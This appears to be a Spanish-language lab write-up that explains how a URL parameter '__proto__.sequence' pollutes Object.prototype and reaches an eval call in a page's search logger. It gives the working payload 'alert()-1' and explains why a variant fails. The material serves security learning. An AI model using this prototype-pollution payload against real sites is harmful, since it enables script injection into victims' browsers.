3 - DOM XSS via an alternative prototype pollution vector

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}

window.addEventListener("load", searchLogger);

1. logQuery(url, params)

async function logQuery(url, params) {
    try {
        await fetch(url, {
            method: "post",
            keepalive: true,
            body: JSON.stringify(params)
        });
    } catch(e) {
        console.error("Failed storing query");
    }
}

Esta función hace una solicitud POST al servidor con los parámetros dados (params) a la URL dada (url). Usa keepalive: true para asegurar que se intente enviar incluso si la página se está descargando.


2. searchLogger()

async function searchLogger() {

Esta función se ejecuta cuando la página se carga (ver el addEventListener al final). Vamos parte por parte:

a. Inicializa objetos globales:

window.macros = {};
window.manager = {
    params: $.parseParams(new URL(location)),
    macro(property) {
        if (window.macros.hasOwnProperty(property))
            return macros[property]
    }
};

b. Control de secuencia:

let a = manager.sequence || 1;
manager.sequence = a + 1;

c. Evalúa un macro (poco claro para qué):

eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

d. Si hay una búsqueda, la envía al servidor:

if(manager.params && manager.params.search) {
    await logQuery('/logger', manager.params);
}

3. Evento load:

window.addEventListener("load", searchLogger);

Así no nos lo hace bien

En su lugar :

/?__proto__.foo=bar

Ahora si habríamos añadido una propiedad foo a Object:

Object.prototype

{
    "foo": "bar"
}
...
async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1; //Podemos añadir la propiedad sequence a object para que así en este punto manager.sequence valga lo que queramos + 1

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}
/?__proto__.sequence=alert()
    manager.sequence = a + 1; //alert()1
    
    eval('if(manager && manager.sequence){ manager.macro('+alert()1+') }');
    manager.sequence = a + 1; //alert()-1
    
    eval('if(manager && manager.sequence){ manager.macro('+alert()-1+') }');

🔍 Código 1 (FALLA):

eval('if(manager && manager.sequence){ manager.macro('+alert()1+') }');

¿Qué ocurre?

eval('if(manager && manager.sequence){ manager.macro(undefined1) }');

✅ Código 2 (FUNCIONA):

eval('if(manager && manager.sequence){ manager.macro('+alert()-1+') }');

¿Qué ocurre?

eval('if(manager && manager.sequence){ manager.macro(undefined - 1) }');
if(manager && manager.sequence){ manager.macro(NaN) }